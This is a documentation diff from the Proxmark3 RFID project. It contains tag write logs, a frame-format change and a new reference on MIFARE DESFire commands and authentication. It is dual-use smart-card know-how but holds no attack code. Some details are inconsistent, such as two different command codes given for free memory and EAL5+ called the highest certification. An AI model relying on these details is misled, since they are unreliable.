+[=] 13 | AA AA | UM2 +[=] 12 | AA AA | UM2 +[=] ------+----------+----------------------------- +[=] 11 | -- -- | PIN write only +[=] 10 | -- -- | PIN write only +[=] ------+----------+----------------------------- +[=] 9 | -- -- | KEY write only +[=] 8 | -- -- | KEY write only +[=] 7 | -- -- | KEY write only +[=] 6 | -- -- | KEY write only +[=] 5 | -- -- | KEY write only +[=] 4 | -- -- | KEY write only +[=] ------+----------+----------------------------- +[=] 3 | 78 B8 | ID +[=] 2 | E0 12 | ID +[=] ------+----------+----------------------------- +[=] 1 | 21 DF | UM1 +[=] 0 | 56 78 | UM1 +[=] ------+----------+----------------------------- +[=] +[=] Tag ID: 78 B8 E0 12 +[=] Lockbit 0: 0 +[=] Lockbit 1: 0 +[=] Tag is UNLOCKED. +[=] + +[+] 2024-05-15T18:47:52Z remark: set UM1 to `21DF5678` (unlocked) ... write block 1 last! +[#] sent >>>: [ 17157 .. 31590 ] ( 14433 ) 37 bits: 0001010000000101001100011111000111000 +[#] recv <<<: no data +[#] sent >>>: [ 80482 .. 82860 ] ( 2378 ) 6 bits: 000001 +[#] recv <<<: [ 89310 .. 101601 ] ( 12291 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 108333 .. 110709 ] ( 2376 ) 6 bits: 000010 +[#] recv <<<: [ 117175 .. 129464 ] ( 12289 ) 32 bits: 00100001110111110101011001111000 +[#] sent >>>: [ 136198 .. 138572 ] ( 2374 ) 6 bits: 000111 +[#] recv <<<: [ 145014 .. 169592 ] ( 24578 ) 64 bits: 1010101010101010101010101010101010101010101010101010101010101010 + +[=] --- Tag Information --------------------------- +[=] Block | data | info +[=] ------+----------+----------------------------- +[=] 15 | AA AA | UM2 +[=] 14 | AA AA | UM2 +[=] 13 | AA AA | UM2 +[=] 12 | AA AA | UM2 +[=] ------+----------+----------------------------- +[=] 11 | -- -- | PIN write only +[=] 10 | -- -- | PIN write only +[=] ------+----------+----------------------------- +[=] 9 | -- -- | KEY write only +[=] 8 | -- -- | KEY write only +[=] 7 | -- -- | KEY write only +[=] 6 | -- -- | KEY write only +[=] 5 | -- -- | KEY write only +[=] 4 | -- -- | KEY write only +[=] ------+----------+----------------------------- +[=] 3 | 78 B8 | ID +[=] 2 | E0 12 | ID +[=] ------+----------+----------------------------- +[=] 1 | 21 DF | UM1 +[=] 0 | 56 78 | UM1 +[=] ------+----------+----------------------------- +[=] +[=] Tag ID: 78 B8 E0 12 +[=] Lockbit 0: 0 +[=] Lockbit 1: 0 +[=] Tag is UNLOCKED. +[=] + +[#] sent >>>: [ 17163 .. 31599 ] ( 14436 ) 37 bits: 0001010000110010100011110111111000010 +[#] recv <<<: no data +[#] sent >>>: [ 80486 .. 82864 ] ( 2378 ) 6 bits: 000001 +[#] recv <<<: [ 89316 .. 101606 ] ( 12290 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 108338 .. 110714 ] ( 2376 ) 6 bits: 000010 +[#] recv <<<: [ 117180 .. 129468 ] ( 12288 ) 32 bits: 00100001110111110101011001111000 +[#] sent >>>: [ 136202 .. 138578 ] ( 2376 ) 6 bits: 000111 +[#] recv <<<: [ 145020 .. 169599 ] ( 24579 ) 64 bits: 1010101010101010101010101010101010101010101010101010101010101010 + +[=] --- Tag Information --------------------------- +[=] Block | data | info +[=] ------+----------+----------------------------- +[=] 15 | AA AA | UM2 +[=] 14 | AA AA | UM2 +[=] 13 | AA AA | UM2 +[=] 12 | AA AA | UM2 +[=] ------+----------+----------------------------- +[=] 11 | -- -- | PIN write only +[=] 10 | -- -- | PIN write only +[=] ------+----------+----------------------------- +[=] 9 | -- -- | KEY write only +[=] 8 | -- -- | KEY write only +[=] 7 | -- -- | KEY write only +[=] 6 | -- -- | KEY write only +[=] 5 | -- -- | KEY write only +[=] 4 | -- -- | KEY write only +[=] ------+----------+----------------------------- +[=] 3 | 78 B8 | ID +[=] 2 | E0 12 | ID +[=] ------+----------+----------------------------- +[=] 1 | 21 DF | UM1 +[=] 0 | 56 78 | UM1 +[=] ------+----------+----------------------------- +[=] +[=] Tag ID: 78 B8 E0 12 +[=] Lockbit 0: 0 +[=] Lockbit 1: 0 +[=] Tag is UNLOCKED. +[=] +``` + +

+ +## End of document diff --git a/doc/ndef_type4a.md b/doc/ndef_type4a.md index 5a5c2c1a1..3a76a3150 100644 --- a/doc/ndef_type4a.md +++ b/doc/ndef_type4a.md @@ -50,7 +50,7 @@ Result ### Step 2 Create the Compatibility Container file (CC File) The CC File is a standard file to store the needed NDEF information to find your NDEF records. This example will contrain the setup for a single NDEF record. -Note: You can define more then one NDEF data file if needed (not covered in this example) +Note: You can define more than one NDEF data file if needed (not covered in this example) Type : Standard data file FID : 01 <- File ID can be any uniqure File ID for this AID diff --git a/doc/new_frame_format.md b/doc/new_frame_format.md index 6f267163e..76c914c9d 100644 --- a/doc/new_frame_format.md +++ b/doc/new_frame_format.md @@ -70,8 +70,9 @@ For responses from the Proxmark3: uint32_t magic; uint16_t length : 15; - bool ng : 1; - int16_t status; + bool ng : 1; + int8_t status; + int8_t reason; uint16_t cmd; uint8_t data[length]; uint16_t crc; @@ -80,6 +81,7 @@ For responses from the Proxmark3: * `length`: length of the variable payload, 0 if none, max 512 (PM3_CMD_DATA_SIZE) for now. * `ng`: flag to tell if the data is following the new format (ng) or the old one, see transition notes below * `status`: a field to send back the status of the command execution +* `reason`: details about what the status indicates for the specified command * `cmd`: as previously, on 16b as it's enough * `data`: variable length payload * `crc`: either an actual CRC (crc14a) or a Magic placeholder (`b3`) @@ -130,7 +132,8 @@ After the full transition, we might remove the fields `oldarg` and `ng`. uint16_t cmd; uint16_t length; uint32_t magic; // NG - int16_t status; // NG + int8_t status; // NG + int8_t reason; // NG uint16_t crc; // NG uint64_t oldarg[3]; // OLD union { @@ -177,9 +180,10 @@ Old handlers will still find their stuff in `PacketCommandNG.oldarg` field. (`common/cmd.c`) - int16_t reply_ng(uint16_t cmd, int16_t status, uint8_t *data, size_t len) - int16_t reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len) - int16_t reply_mix(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len) + int reply_old(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, const void *data, size_t len); + int reply_ng(uint16_t cmd, int8_t status, const uint8_t *data, size_t len); + int reply_mix(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, const void *data, size_t len); + int reply_reason(uint16_t cmd, int8_t status, int8_t reason, const uint8_t *data, size_t len); So replies should make the transition from `reply_old` to `reply_ng` to benefit from smaller frames (and client reception adjusted accordingly of course). `reply_mix` is a transition fct: it uses the same API as reply_old but benefits somehow from variable length frames. It occupies at least 24b of data for the oldargs and real data is therefore limited to PM3_CMD_DATA_SIZE - 24. Besides the size limitation, the client command doesn't know if this was an OLD frame or a MIX frame, it gets its oldargs and data as usual. diff --git a/doc/unofficial_desfire_bible.md b/doc/unofficial_desfire_bible.md new file mode 100644 index 000000000..104f64fcc --- /dev/null +++ b/doc/unofficial_desfire_bible.md @@ -0,0 +1,1008 @@ +# The Unofficial DESFire Bible +## A Comprehensive Technical Reference with Citations + +### Table of Contents +1. [Introduction](#introduction) +2. [DESFire Evolution Timeline](#desfire-evolution-timeline) +3. [Version Comparison Table](#version-comparison-table) +4. [Memory Architecture](#memory-architecture) +5. [Security Features by Version](#security-features-by-version) +6. [Complete Command Reference](#complete-command-reference) +7. [Authentication Deep Dive](#authentication-deep-dive) +8. [File Types and Operations](#file-types-and-operations) +9. [Cryptographic Implementation](#cryptographic-implementation) +10. [Communication Modes](#communication-modes) +11. [Error Codes Reference](#error-codes-reference) +12. [Implementation Examples](#implementation-examples) +13. [Bibliography](#bibliography) + +--- + +## Introduction + +MIFARE DESFire is a family of contactless smart card ICs (Integrated Circuits) compliant with ISO/IEC 14443-4 Type A. This comprehensive reference documents all DESFire versions from Classic (D40) through EV3, including the cost-optimized Light variant. Every technical detail includes inline citations to ensure accuracy and traceability. + +### Document Scope +This bible covers: +- All DESFire versions: Classic/EV0, EV1, EV2, EV3, and Light +- Complete command sets with hex codes and parameters +- Authentication protocols and cryptographic implementations +- Memory organization and file structures +- Security features and attack mitigations +- Real-world implementation examples + +--- + +## DESFire Evolution Timeline + +### DESFire Classic/EV0 (D40) - Original Release +- **Release**: Early 2000s +- **Memory**: Fixed 4KB EEPROM [Source: MF3D_H_X3_SDS.pdf] +- **Applications**: Maximum 28 applications [Source: MF3D_H_X3_SDS.pdf] +- **Files per App**: Up to 16 files [Source: AN11004.pdf] +- **Encryption**: DES and 3DES only [Source: MF3D_H_X3_SDS.pdf] +- **Communication Speed**: 106 kbps [Source: AN11004.pdf] +- **Key Features**: + - Basic file types: Standard, Backup, Value, Cyclic Record + - Simple authentication protocol + - No advanced security features + +### DESFire EV1 - First Evolution (2006) +- **Memory Options**: 2KB, 4KB, 8KB EEPROM [Source: AN11004.pdf] +- **Applications**: Still limited to 28 [Source: MF3D_H_X3_SDS.pdf] +- **Files per App**: Increased to 32 [Source: AN11004.pdf] +- **New Cryptography**: Added AES-128 support [Source: AN11004.pdf] +- **Communication Speed**: Up to 848 kbps [Source: AN11004.pdf] +- **New Features** [Source: AN11004.pdf]: + - ISO/IEC 7816-4 APDU wrapping support + - Random UID option for privacy + - GetCardUID command + - ISO file identifiers (2 bytes) + - Transaction backup mechanism + - Improved key management + +### DESFire EV2 - Second Generation (2016) +- **Memory Options**: 2KB, 4KB, 8KB EEPROM [Source: AN12696.pdf] +- **Applications**: Unlimited (removed 28 app limit) [Source: MF3D_H_X3_SDS.pdf] +- **Communication Improvements**: 128-byte frame size (2x EV1) [Source: AN12696.pdf] +- **Major New Features**: + - **Virtual Card Architecture (VCA)** [Source: AN12696.pdf]: Privacy-preserving multiple card emulation + - **Transaction MAC (TMAC)** [Source: AN12696.pdf]: Offline transaction verification + - **Proximity Check** [Source: AN12696.pdf]: Protection against relay attacks + - **Delegated Application Management (DAM)** [Source: AN12696.pdf]: Secure cloud provisioning + - **Multiple Key Sets** [Source: AN12696.pdf]: Key rolling mechanism + - **Originality Check** [Source: AN12696.pdf]: Verify genuine NXP silicon + +### DESFire EV3 - Latest Generation (2020) +- **Memory Options**: 2KB, 4KB, 8KB, 16KB EEPROM [Source: MF3D_H_X3_SDS.pdf] +- **Performance**: 1.6x faster than EV1 [Source: AN12753.pdf] +- **Communication**: 256-byte frame size (2x EV2) [Source: AN12753.pdf] +- **Security Certification**: Common Criteria EAL5+ [Source: plt-05618-a.0-mifare-desfire-ev3-application-note.pdf] +- **New Features**: + - **Transaction Timer** [Source: AN12753.pdf]: Prevents delayed attack scenarios + - **Secure Dynamic Messaging (SDM)** [Source: AN12753.pdf]: Dynamic URL generation + - **Secure Unique NFC (SUN)** [Source: AN12753.pdf]: Unique tap verification + - **Pre-configured DAM Keys** [Source: AN12753.pdf]: Simplified cloud setup + - **Improved MACing** [Source: AN12753.pdf]: Enhanced integrity protection + +### DESFire Light - Cost-Optimized Variant +- **Memory Options**: 0.5KB (640B) or 2KB [Source: [0011955][v1.0] st_pegasus_desfire_lite_v10.pdf] +- **Applications**: Single application only [Source: [0011955][v1.0] st_pegasus_desfire_lite_v10.pdf] +- **Files**: Up to 32 files [Source: [0011955][v1.0] st_pegasus_desfire_lite_v10.pdf] +- **Cryptography**: AES-128 only (no DES/3DES) [Source: [0011955][v1.0] st_pegasus_desfire_lite_v10.pdf] +- **Limitations**: + - No backup files support + - Simplified command set + - No multi-application features + - Reduced security options + +--- + +## Version Comparison Table + +| Feature | Classic/EV0 | EV1 | EV2 | EV3 | Light | +|---------|-------------|-----|-----|-----|-------| +| **Memory Options** | 4KB | 2/4/8KB | 2/4/8KB | 2/4/8/16KB | 0.5/2KB | +| **Max Applications** | 28 [^1] | 28 [^1] | Unlimited [^2] | Unlimited [^2] | 1 [^3] | +| **Files per App** | 16 [^4] | 32 [^4] | 32 [^5] | 32 [^5] | 32 [^3] | +| **Frame Size** | 64B | 64B | 128B [^5] | 256B [^6] | 64B | +| **DES/3DES** | ✓ | ✓ | ✓ | ✓ | ✗ | +| **AES-128** | ✗ | ✓ [^4] | ✓ | ✓ | ✓ [^3] | +| **Random UID** | ✗ | ✓ [^4] | ✓ | ✓ | ✗ | +| **VCA** | ✗ | ✗ | ✓ [^5] | ✓ | ✗ | +| **Proximity Check** | ✗ | ✗ | ✓ [^5] | ✓ | ✗ | +| **Transaction MAC** | ✗ | ✗ | ✓ [^5] | ✓ | Limited | +| **Transaction Timer** | ✗ | ✗ | ✗ | ✓ [^6] | ✗ | +| **SDM/SUN** | ✗ | ✗ | ✗ | ✓ [^6] | ✗ | +| **Speed** | 106 kbps | 848 kbps [^4] | 848 kbps | 1.6x EV1 [^6] | 106 kbps | +| **CC Certification** | ✗ | EAL4+ | EAL5+ | EAL5+ [^7] | EAL4+ | + +[^1]: [Source: MF3D_H_X3_SDS.pdf] +[^2]: [Source: MF3D_H_X3_SDS.pdf] +[^3]: [Source: [0011955][v1.0] st_pegasus_desfire_lite_v10.pdf] +[^4]: [Source: AN11004.pdf] +[^5]: [Source: AN12696.pdf] +[^6]: [Source: AN12753.pdf] +[^7]: [Source: plt-05618-a.0-mifare-desfire-ev3-application-note.pdf] + +--- + +## Memory Architecture + +### Memory Layout Structure + +All DESFire cards follow a hierarchical structure: + +``` +PICC (Card) Level +├── Master Application (AID 0x000000) +│ ├── PICC Master Key +│ └── Card Configuration +└── Applications (AID 0x000001 - 0xFFFFFF) + ├── Application Master Key + ├── Application Keys (0-13) + └── Files (0-31) + ├── Standard Data Files + ├── Backup Files + ├── Value Files + ├── Linear Record Files + └── Cyclic Record Files +``` + +### Application Identifier (AID) +- **Size**: 3 bytes (24 bits) [Source: AN11004.pdf] +- **Range**: 0x000000 to 0xFFFFFF +- **Reserved**: 0x000000 (Master Application) +- **User Range**: 0x000001 to 0xFFFFFF + +### File Types and Structures + +#### 1. Standard Data File +- **Purpose**: Store raw data [Source: AN11004.pdf] +- **Size**: 1 to 8191 bytes (EV1), 1 to 32 bytes (Light) [Source: various] +- **Operations**: Read, Write +- **Structure**: Simple byte array + +#### 2. Backup File +- **Purpose**: Transactional data with commit/abort [Source: AN11004.pdf] +- **Size**: Same as Standard File +- **Operations**: Read, Write, Commit, Abort +- **Note**: Not supported on DESFire Light [Source: [0011955][v1.0] st_pegasus_desfire_lite_v10.pdf] + +#### 3. Value File +- **Purpose**: Store 32-bit signed integer [Source: AN11004.pdf] +- **Operations**: Read, Credit, Debit, Limited Credit +- **Limits**: Configurable lower and upper bounds +- **Structure**: + ``` + Value: 4 bytes (signed int32) + ``` + +#### 4. Linear Record File +- **Purpose**: Append-only records [Source: AN11004.pdf] +- **Record Size**: 1 to 8191 bytes +- **Max Records**: Configurable +- **Operations**: Read, Write (append), Clear + +#### 5. Cyclic Record File +- **Purpose**: Circular buffer of records [Source: AN11004.pdf] +- **Behavior**: Oldest record overwritten when full +- **Operations**: Read, Write (newest), Clear + +### Memory Access Rights + +Each file has configurable access rights [Source: AN11004.pdf]: +- **Read Access**: Key 0-13, 0xE (free), 0xF (deny) +- **Write Access**: Key 0-13, 0xE (free), 0xF (deny) +- **Read&Write Access**: Key 0-13, 0xE (free), 0xF (deny) +- **Change Access Rights**: Key 0-13, 0xF (deny) + +Communication settings per file: +- **0x00**: Plain communication +- **0x01**: MACed communication +- **0x03**: Fully enciphered communication + +--- + +## Security Features by Version + +### DESFire Classic/EV0 Security +- **Encryption**: DES/3DES only [Source: MF3D_H_X3_SDS.pdf] +- **Authentication**: Simple challenge-response +- **Protection**: Basic anti-collision, no advanced features + +### DESFire EV1 Security Enhancements +- **AES-128 Support**: Added alongside DES/3DES [Source: AN11004.pdf] +- **Random UID**: Configurable for privacy [Source: AN11004.pdf] +- **Diversified Keys**: Support for key derivation +- **Anti-tearing**: Transaction backup mechanism + +### DESFire EV2 Security Additions +- **Proximity Check** [Source: AN12696.pdf]: + - Prevents relay attacks + - Time-based distance bounding + - Configurable timing parameters + +- **Virtual Card Architecture (VCA)** [Source: AN12696.pdf]: + - Multiple virtual cards in one + - Install/Select/Delete virtual cards + - Privacy through UID randomization + +- **Transaction MAC (TMAC)** [Source: AN12696.pdf, MF2DLHX0.pdf]: + - Offline transaction verification + - Reader-specific MACs with CommitReaderID command (0xC8) + - Counter-based freshness (TMC - Transaction MAC Counter) + - Special file type 0x05 with unique access rights: + - Read: Normal access control + - Write: Always 0xF (disabled) + - ReadWrite: CommitReaderID key (0x0-0xE enabled, 0xF disabled) + - Change: Normal access control + - TMV (Transaction MAC Value) calculated on CommitTransaction + +- **Secure Messaging v2** [Source: AN12696.pdf]: + - Improved IV generation + - Command counter protection + - Enhanced session key derivation + +### DESFire EV3 Security Features +- **Transaction Timer** [Source: AN12753.pdf]: + - Maximum time window for operations + - Prevents delayed attack scenarios + - Configurable per application + +- **Secure Dynamic Messaging (SDM)** [Source: AN12753.pdf]: + - Dynamic NDEF message generation + - Encrypted file data in URLs + - PICCData and MACed responses + +- **Common Criteria EAL5+** [Source: plt-05618-a.0-mifare-desfire-ev3-application-note.pdf]: + - Highest security certification + - Formally verified implementation + - Hardware security evaluation + +--- + +## Complete Command Reference + +### Authentication Commands + +#### 0x0A - Authenticate (Legacy DES/3DES) +- **Parameters**: KeyNo (1 byte) [Source: protocols.h, line 334] +- **Response**: Encrypted RndB (8 bytes) + status +- **Versions**: All except Light +- **Flow**: See Authentication Deep Dive section + +#### 0x1A - Authenticate ISO (3DES) +- **Parameters**: KeyNo (1 byte) [Source: protocols.h, line 335] +- **Response**: Encrypted RndB (8 bytes) + status +- **Versions**: EV1, EV2, EV3 +- **Note**: ISO/IEC 7816-4 compliant + +#### 0xAA - Authenticate AES +- **Parameters**: KeyNo (1 byte) [Source: protocols.h, line 336] +- **Response**: Encrypted RndB (16 bytes) + status +- **Versions**: EV1, EV2, EV3, Light +- **Note**: Uses AES-128 in CBC mode + +#### 0x71 - AuthenticateEV2First +- **Parameters**: KeyNo (1 byte) + Capabilities [Source: protocols.h, line 337] +- **Response**: Transaction identifier + encrypted data +- **Versions**: EV2, EV3 +- **Purpose**: Initial EV2 authentication with capability exchange + +#### 0x77 - AuthenticateEV2NonFirst +- **Parameters**: KeyNo (1 byte) [Source: protocols.h, line 338] +- **Response**: Encrypted authentication data +- **Versions**: EV2, EV3 +- **Purpose**: Subsequent EV2 authentication + +#### 0x70 - FreeMem +- **Parameters**: None [Source: protocols.h, line 339] +- **Response**: Free memory (3 bytes) +- **Versions**: All +- **Authentication**: Not required + +### Application Management Commands + +#### 0xCA - CreateApplication +- **Parameters**: [Source: protocols.h, line 344] + - AID (3 bytes) + - KeySettings (1 byte) + - NumOfKeys (1 byte): Lower nibble = key count, Upper nibble = crypto method +- **Versions**: All +- **Example**: `CA 01 00 00 0F 81` creates AID 0x000001 with 1 AES key + +#### 0xDA - DeleteApplication +- **Parameters**: AID (3 bytes) [Source: protocols.h, line 345] +- **Versions**: All +- **Authentication**: PICC Master Key required + +#### 0x5A - SelectApplication +- **Parameters**: AID (3 bytes) [Source: protocols.h, line 347] +- **Versions**: All +- **Note**: AID 0x000000 selects master application + +#### 0x6A - GetApplicationIDs +- **Parameters**: None [Source: protocols.h, line 346] +- **Response**: List of AIDs (3 bytes each) +- **Versions**: All + +#### 0x45 - GetKeySettings +- **Parameters**: None [Source: protocols.h, line 350] +- **Response**: KeySettings (1 byte) + NumOfKeys (1 byte) +- **Versions**: All + +#### 0x64 - GetKeyVersion +- **Parameters**: KeyNo (1 byte) [Source: protocols.h, line 355] +- **Response**: Key version (1 byte) +- **Versions**: All + +### File Management Commands + +#### 0xCD - CreateStdDataFile +- **Parameters**: [Source: protocols.h, line 357] + - FileNo (1 byte) + - FileOption/CommSettings (1 byte) + - AccessRights (2 bytes) + - FileSize (3 bytes, LSB first) +- **Versions**: All + +#### 0xCB - CreateBackupFile +- **Parameters**: Same as CreateStdDataFile [Source: protocols.h, line 358] +- **Versions**: All except Light +- **Note**: Supports transaction mechanism + +#### 0xCC - CreateValueFile +- **Parameters**: [Source: protocols.h, line 359] + - FileNo (1 byte) + - CommSettings (1 byte) + - AccessRights (2 bytes) + - LowerLimit (4 bytes) + - UpperLimit (4 bytes) + - Value (4 bytes) + - LimitedCreditEnable (1 byte) +- **Versions**: All + +#### 0xC1 - CreateLinearRecordFile +- **Parameters**: [Source: protocols.h, line 360] + - FileNo (1 byte) + - CommSettings (1 byte) + - AccessRights (2 bytes) + - RecordSize (3 bytes) + - MaxNumberOfRecords (3 bytes) +- **Versions**: All + +#### 0xC0 - CreateCyclicRecordFile +- **Parameters**: Same as CreateLinearRecordFile [Source: protocols.h, line 361] +- **Versions**: All + +#### 0xDF - DeleteFile +- **Parameters**: FileNo (1 byte) [Source: protocols.h, line 362] +- **Versions**: All + +#### 0x6F - GetFileIDs +- **Parameters**: None [Source: protocols.h, line 363] +- **Response**: List of FileIDs (1 byte each) +- **Versions**: All + +#### 0xF5 - GetFileSettings +- **Parameters**: FileNo (1 byte) [Source: protocols.h, line 364] +- **Response**: File type + settings structure +- **Versions**: All + +### Data Manipulation Commands + +#### 0xBD - ReadData +- **Parameters**: [Source: protocols.h, line 367] + - FileNo (1 byte) + - Offset (3 bytes, LSB first) + - Length (3 bytes, LSB first) +- **Response**: Data + status +- **Versions**: All + +#### 0x3D - WriteData +- **Parameters**: [Source: protocols.h, line 368] + - FileNo (1 byte) + - Offset (3 bytes) + - Length (3 bytes) + - Data (variable) +- **Versions**: All + +#### 0x6C - GetValue +- **Parameters**: FileNo (1 byte) [Source: protocols.h, line 369] +- **Response**: Value (4 bytes) +- **Versions**: All + +#### 0x0C - Credit +- **Parameters**: [Source: protocols.h, line 370] + - FileNo (1 byte) + - Amount (4 bytes) +- **Versions**: All + +#### 0xDC - Debit +- **Parameters**: Same as Credit [Source: protocols.h, line 371] +- **Versions**: All + +#### 0x1C - LimitedCredit +- **Parameters**: Same as Credit [Source: protocols.h, line 372] +- **Versions**: All +- **Note**: Only if LimitedCreditEnabled + +#### 0x3B - WriteRecord +- **Parameters**: [Source: protocols.h, line 373] + - FileNo (1 byte) + - Offset (3 bytes) + - Length (3 bytes) + - Data (variable) +- **Versions**: All + +#### 0xBB - ReadRecords +- **Parameters**: [Source: protocols.h, line 374] + - FileNo (1 byte) + - Offset (3 bytes): Record number + - Length (3 bytes): Number of records +- **Versions**: All + +#### 0xEB - ClearRecordFile +- **Parameters**: FileNo (1 byte) [Source: protocols.h, line 375] +- **Versions**: All + +#### 0xC7 - CommitTransaction +- **Parameters**: Option byte (optional, 1 byte) [Source: MF2DLHX0.pdf, AN12343.pdf] +- **Versions**: All +- **Purpose**: Commit all pending changes +- **Note**: With option 0x01, returns TMC and TMV for TMAC verification + +#### 0xC8 - CommitReaderID +- **Parameters**: ReaderID (16 bytes) [Source: MF2DLHX0.pdf, Section 10.3] +- **Versions**: EV2, EV3, Light +- **Purpose**: Set reader-specific identifier for Transaction MAC generation +- **Authentication**: Depends on TMAC file ReadWrite access rights: + - 0x0-0x4: Authentication with specified key required + - 0xE: Free access allowed + - 0xF: CommitReaderID disabled +- **Communication**: Requires MACed or Encrypted mode +- **Response**: + - When authenticated: EncTMRI (16 bytes) = E_TM(SesTMENCKey, TMRIPrev) + - When not authenticated: No data, only status code +- **Notes**: + - EncTMRI uses AES CBC with zero IV for encryption + - TMRIPrev tracks previous transaction's ReaderID for chain verification + - TMRIPrev only updated on CommitTransaction if authenticated + - Used with TMAC file type (0x05) for offline transaction verification + +#### 0xA7 - AbortTransaction +- **Parameters**: None [Source: protocols.h, line 377] +- **Versions**: All +- **Purpose**: Rollback pending changes + +### Configuration Commands + +#### 0x5F - ChangeFileSettings +- **Parameters**: [Source: protocols.h, line 365] + - FileNo (1 byte) + - CommSettings (1 byte) + - AccessRights (2 bytes) +- **Versions**: All + +#### 0x54 - ChangeKeySettings +- **Parameters**: KeySettings (1 byte) [Source: protocols.h, line 351] +- **Versions**: All + +#### 0xC4 - ChangeKey +- **Parameters**: [Source: protocols.h, line 352] + - KeyNo (1 byte) + - New key data (encrypted) +- **Versions**: All + +### Information Commands + +#### 0x60 - GetVersion +- **Parameters**: None [Source: protocols.h, line 349] +- **Response**: Version info structure (28 bytes) +- **Versions**: All + +#### 0x51 - GetCardUID +- **Parameters**: None [Source: protocols.h, line 389] +- **Response**: UID (7 bytes) +- **Versions**: EV1+ +- **Authentication**: Required + +#### 0x61 - GetFileCounters +- **Parameters**: FileNo (1 byte) [Source: protocols.h, line 390] +- **Response**: Counters for SDM +- **Versions**: EV2+ + +#### 0x6E - GetFreeMemory +- **Parameters**: None [Source: AN11004.pdf] +- **Response**: Free memory (3 bytes) +- **Versions**: All + +### ISO Wrapped Commands + +#### 0xAD - ISOReadBinary +- **Parameters**: ISO 7816-4 wrapped ReadData [Source: protocols.h, line 378] +- **Versions**: EV1+ + +#### 0xAB - ISOAppendRecord +- **Parameters**: ISO 7816-4 wrapped WriteRecord [Source: protocols.h, line 380] +- **Versions**: EV1+ + +#### 0xA2 - ISOReadRecords +- **Parameters**: ISO 7816-4 wrapped ReadRecords [Source: protocols.h, line 379] +- **Versions**: EV1+ + +#### 0xA0 - ISOSelectFile +- **Parameters**: ISO 7816-4 file selection [Source: protocols.h, line 382] +- **Versions**: EV1+ + +#### 0x3A - ISOUpdateBinary +- **Parameters**: ISO 7816-4 wrapped WriteData [Source: protocols.h, line 383] +- **Versions**: EV1+ + +### Special Commands + +#### 0xAF - Additional Frame +- **Purpose**: Continue previous command [Source: protocols.h, line 342] +- **Parameters**: Additional data +- **Versions**: All + +#### 0x00 - ISO Wrapping +- **Purpose**: ISO 7816-4 command wrapping [Source: protocols.h, line 341] +- **Versions**: EV1+ + +### Transaction/Security Commands (EV2/EV3) + +#### 0xC9 - InitializeKeySet +- **Parameters**: KeySetNo + KeySetSettings [Source: protocols.h, line 385] +- **Versions**: EV2+ + +#### 0xCE - FinalizeKeySet +- **Parameters**: KeySetNo + KeyVersion [Source: protocols.h, line 386] +- **Versions**: EV2+ + +#### 0xCF - RollKeySet +- **Parameters**: KeySetNo [Source: protocols.h, line 387] +- **Versions**: EV2+ + +#### 0xF6 - GetDelegatedInfo +- **Parameters**: DAMSlotNo [Source: protocols.h, line 391] +- **Versions**: EV2+ + +#### 0xFA - TransactionMAC +- **Parameters**: Transaction data [Source: various sources] +- **Versions**: EV2+ +- **Purpose**: Generate offline verification MAC + +### Status Codes + +#### Success Codes +- **0x00**: OPERATION_OK [Source: protocols.h, line 393] +- **0x0C**: NO_CHANGES [Source: protocols.h, line 394] + +#### Error Codes +- **0x0E**: OUT_OF_MEMORY [Source: protocols.h, line 395] +- **0x1C**: ILLEGAL_COMMAND_CODE [Source: protocols.h, line 396] +- **0x1E**: INTEGRITY_ERROR [Source: protocols.h, line 397] +- **0x40**: NO_SUCH_KEY [Source: protocols.h, line 398] +- **0x7E**: LENGTH_ERROR [Source: protocols.h, line 399] +- **0x9D**: PERMISSION_DENIED [Source: protocols.h, line 400] +- **0x9E**: PARAMETER_ERROR [Source: protocols.h, line 401] +- **0xA0**: APPLICATION_NOT_FOUND [Source: protocols.h, line 402] +- **0xA1**: APPL_INTEGRITY_ERROR [Source: protocols.h, line 403] +- **0xAE**: AUTHENTICATION_ERROR [Source: protocols.h, line 404] +- **0xAF**: ADDITIONAL_FRAME [Source: protocols.h, line 405] +- **0xBE**: BOUNDARY_ERROR [Source: protocols.h, line 406] +- **0xC1**: COMMAND_ABORTED [Source: protocols.h, line 408] +- **0xCA**: PICC_INTEGRITY_ERROR [Source: protocols.h, line 407] +- **0xCD**: PICC_DISABLED_ERROR [Source: protocols.h, line 409] +- **0xCE**: COUNT_ERROR [Source: protocols.h, line 410] +- **0xDE**: DUPLICATE_ERROR [Source: protocols.h, line 411] +- **0xEE**: EEPROM_ERROR [Source: protocols.h, line 412] +- **0xF0**: FILE_NOT_FOUND [Source: protocols.h, line 413] +- **0xF1**: FILE_INTEGRITY_ERROR [Source: protocols.h, line 414] + +--- + +## Authentication Deep Dive + +### DES/3DES Authentication Protocol + +#### Phase 1: Initial Authentication Request +``` +PCD → PICC: 90 0A 00 00 01 [KeyNo] 00 + └─ Authenticate command (0x0A) +``` +[Source: DESFire DES authentication D40-DES authentification.pdf, line 7] + +#### Phase 2: PICC Responds with Encrypted RndB +``` +PICC → PCD: [Ek(RndB)] 91 AF + └─ 8 bytes encrypted RndB +``` +[Source: DESFire DES authentication D40-DES authentification.pdf, line 9] + +#### Phase 3: PCD Prepares Response +1. Decrypt RndB using key +2. Generate RndA (8 bytes) +3. Rotate RndB left by 1 byte +4. Concatenate: RndA || RndB_rotated +5. Encrypt with CBC mode, IV from previous response + +[Source: DESFire DES authentication D40-DES authentification.pdf, lines 23-39] + +#### Phase 4: Send Encrypted Challenge +``` +PCD → PICC: 90 AF 00 00 10 [Ek(RndA || RndB_rot)] 00 +``` +[Source: DESFire DES authentication D40-DES authentification.pdf, line 41] + +#### Phase 5: Verify PICC Response +``` +PICC → PCD: [Ek(RndA_rot)] 91 00 +``` +PCD decrypts and verifies rotated RndA matches +[Source: DESFire DES authentication D40-DES authentification.pdf, lines 43-56] + +### AES Authentication Protocol + +Similar flow but with 16-byte blocks: +1. Uses command 0xAA instead of 0x0A +2. RndA and RndB are 16 bytes each +3. AES-128 in CBC mode +4. Session key derivation differs + +[Source: DESFire.py, lines 79-144] + +### EV2 Authentication Protocol + +#### EV2First Authentication +1. **Capability Exchange**: + ``` + PCD → PICC: 71 [KeyNo] [Len] [PCDcap2] + PICC → PCD: [TI] [PDcap2] [PCDcap2] AF + ``` + [Source: 